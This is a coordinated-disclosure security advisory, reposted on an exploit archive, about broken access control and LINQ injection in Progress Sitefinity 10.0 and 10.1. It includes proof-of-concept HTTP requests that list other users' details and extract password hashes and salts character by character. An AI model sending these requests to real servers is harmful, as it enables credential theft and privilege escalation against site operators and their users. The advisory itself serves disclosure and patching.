Home / exploits Progress Sitefinity 10.0 / 10.1 Broken Access Control / LINQ Injection
Posted on 17 November 2017
SEC Consult Vulnerability Lab Security Advisory < 20171116-0 > ======================================================================= title: Broken access control & LINQ injection product: Progress Sitefinity vulnerable version: 10.0, 10.1 fixed version: >=10.1.6527.0 (internal build), 10.2 CVE number: - impact: High homepage: http://www.sitefinity.com | https://www.progress.com found: 2017-08-21 by: M. Li (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Progress Sitefinity is a content management and marketing analytics platform designed to maximize the agility needed to succeed in todayas rapidly changing digital marketplace. It provides developers and IT teams the tools they need to support enterprise-level digital marketing, optimizing the customer journey by delivering seamless personalized experiences across different technologies and devices. Progress is a trusted source for the digital marketing innovation needed to create transformative customer experiences that fuel business success." Source: http://www.sitefinity.com/about Business recommendation: ------------------------ SEC Consult recommends applying the provided patches by the vendor immediately. Additionally, there are strong indications for further vulnerabilities and it is highly suggested to perform a thorough security review by security professionals to lower the risk of using this product. Vulnerability overview/description: ----------------------------------- 1) Broken Access Control By using an unprotected function, a low privileged user can extract another user's information such as email addresses, user ID, etc. 2) LINQ Injection The identified LINQ injection enables an authenticated user to read sensitive data from the database. Specifically, an attacker can query the password or its hash character by character. Depending on the version of LINQ assembly in use, remote code execution could be possible as well. Combining the two issues, a user could escalate her privileges. Proof of concept: ----------------- 1) Broken Access Control A user with a low privileged role e.g. "BackendUsers" can obtain other users' information including email, userid etc., which is not intended for a user with this role. The function disclosing the information is "GenericItemsService.svc" laid under path "Common", which is in general not protected based on the role. GET /Sitefinity/Services/Common/GenericItemsService.svc/?itemType=Telerik.Sitefinity.Security.Model.User&itemSurrogateType=Telerik.Sitefinity.Security.Web.Services.WcfMembershipUser HTTP/1.1 Host: [host] ...snip... HTTP/1.1 200 OK ...snip... { "Context":null, "IsGeneric":false, "Items":[ ...snip... { ...snip... "Email":"test0@local.host", ...snip... ], "UserID":"cb21e9a9-992c-4f8f-9800-b03c9639b02a" } ], "TotalCount":3 } 2) LINQ Injection The aforementioned function "GenericItemsService.svc", which can be invoked by any authenticated user regardless of her privilege, can be augmented by the parameter "filter", narrowing down the user list. However, this parameter does not undergo any sanitization hence properties like "password" can be queried character by character. For instance, the request in example 1 is asking the server whether any user has the password containing "2klv". Upon a correct guess, the reply contains matching users' attributes. By sending multiple such queries, an attacker can deduce the user's password hash, salt, etc. In example 2, function "Users.svc" can be used only by users with administrator privilege. It could also be possible to extract the password in cleartext, if the default setting for membership format is changed. Furthermore, depending on the third party assembly System.Linq, the issue could be abused to execute code on the server. Example 1: GET /Sitefinity/Services/Common/GenericItemsService.svc/?itemType=Telerik.Sitefinity.Security.Model.User&itemSurrogateType=Telerik.Sitefinity.Security.Web.Services.WcfMembershipUser&filter=(password.ToUpper().Contains(%222klv%22.ToUpper())) HTTP/1.1 Example 2: GET /Sitefinity/Services/Security/Users.svc/?roleId=&roleProvider=&forAllProviders=false&filter=(salt.ToUpper().Contains(%225d%22.ToUpper())) HTTP/1.1 Vulnerable / tested versions: ----------------------------- Progress Sitefinity 10.0 and 10.1 have been tested. Version 10.1 was the latest at the time the vulnerability was discovered. It is assumed earlier versions of this product are also vulnerable to the issues. Vendor contact timeline: ------------------------ 2017-08-22: Contacting vendor through email 2017-08-23: Contacting vendor's security group 2017-08-23: Sending unencrypted advisory to Sitefinity Product Management as requested by vendor 2017-08-28: Vendor acknowledged the issues 2017-10-17: Asking for update. Vendor replies that a fix will be released within 2-3 weeks 2017-11-06: Vendor states the issues are fixed in version 10.1.6527.0 2017-11-14: Asking vendor where fixed version can be found 2017-11-14: Vendor releases version 10.2 2017-11-16: Coordinated release of security advisory Solution: --------- According to the vendor, all the identified issues have been fixed in version 10.1.6527.0 (internal build) and release 10.2. https://www.sitefinity.com/product/version-notes/sitefinity-10.2 https://www.sitefinity.com/developer-network/forums/internal-builds/sitefinity-10.1-internal-builds#Hlb1FcE3622pWP8AAERlJg Please update to the latest version immediately. Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Li / @2017
